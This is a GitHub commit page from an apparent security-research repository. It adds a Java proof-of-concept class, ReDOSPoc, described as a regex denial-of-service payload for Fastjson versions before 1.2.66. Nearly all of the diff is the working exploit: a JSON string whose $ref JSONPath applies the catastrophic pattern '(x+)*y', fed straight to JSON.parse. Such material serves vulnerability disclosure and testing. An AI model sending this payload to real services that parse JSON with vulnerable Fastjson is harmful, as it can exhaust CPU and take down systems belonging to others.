Skip to content

Commit ca02064

Browse files
author
“threedr3am”
committed
feat:添加fastjson dos payload
1 parent 1a71533 commit ca02064

File tree

1 file changed

+16
-0
lines changed
  • fastjson/src/main/java/com/threedr3am/bug/fastjson/dos

1 file changed

+16
-0
lines changed
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
package com.threedr3am.bug.fastjson.dos;
2+
3+
import com.alibaba.fastjson.JSON;
4+
5+
/**
6+
* 正则DOS Fastjson < 1.2.66
7+
*
8+
* @author threedr3am
9+
*/
10+
public class ReDOSPoc {
11+
12+
public static void main(String[] args) {
13+
String payload = "{\"aaaaa\":\"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\"regex\":{\"$ref\":\"$[aaaaa rlike '(x+)*y']\"}}";
14+
JSON.parse(payload);
15+
}
16+
}

0 commit comments

Comments
 (0)